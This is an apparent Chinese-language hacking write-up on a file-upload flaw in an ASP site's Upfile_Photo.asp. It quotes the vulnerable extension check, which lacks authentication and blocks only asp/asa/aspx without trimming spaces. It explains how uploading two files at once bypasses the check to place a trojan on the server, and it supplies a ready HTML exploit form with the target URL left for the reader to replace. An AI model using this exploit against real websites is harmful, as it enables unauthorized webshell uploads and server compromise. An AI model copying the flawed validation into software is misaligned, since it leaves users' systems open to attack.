打开admin目录,发现有一个upload.asp,这个文件是提交并对提交的文件进行判断的,里面有这么一句 if Uprequest.form("file_Err")0 then select case Uprequest.form("file_Err") 不过我看了半天也没看出来这个 file_Err读取的是什么,(本人很菜的)那就去前台的目录好好找找看有没有利用的地方吧。 在前台同时也发现了这个文件
Upload_Photo.asp 打开查看源文件之后发现提交到的地址是 Upfile_Photo.asp 打开Upfile_Photo.asp的源代码,发现程序没有对用户身份进行判断,这样如果程序存在上传我们就可以直接提交我们的了, 继续往下看,越看感觉越眼熟。我贴出发生漏洞的代码吧
for i=0 to ubound(arrUpFileType) ‘对文件的后缀进行判断,如果属于程序要求的后缀,那么就将 EnableUpload变量置为True if fileEXT=trim(arrUpFileType(i)) then EnableUpload=true exit for end if next if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then '判断文件的后缀是不是属于asp、asa、aspx这三种类型(重点问题也发生在这里, EnableUpload=false '在这里没有对cer、php等等后缀进行过滤,也没有使用Trim对空格进行过滤) end if if EnableUpload=false then msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType FoundErr=true '判断我们的EnableUpload这个变量是真或者假,真表示合法 end if strJS="" & vbcrlf if FoundErrtrue then randomize ranNum=int(900*rnd)+100 '在这里又对FoundErr变量进行判断,不为True那就可以上传了。 filename="big"&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt smallfilename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt ofile.SaveToFile Server.mappath(SavePath&filename) '保存文件 这不就是以前那个动易的上传漏洞吗?由于这个化境无组件上传可以上传多个文件,我们可以通过上传同时两个不同后缀的文件来绕过判断,从而将我们的木马直接提交到服务器上。
<form action="http://127.0.0.1/Upfile_Photo.asp" method="post" name="form1" enctype="multipart/form-data"> '其中127.0.0.1要改成你要提交的域名URL. <input name="FileName" type="FILE" class="tx1" size="21" > <input name="FileName1" type="FILE" class="tx1" size="21" > <input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt"> <input name="PhotoUrlID" type="hidden" id="PhotoUrlID" value="1"> </form>
|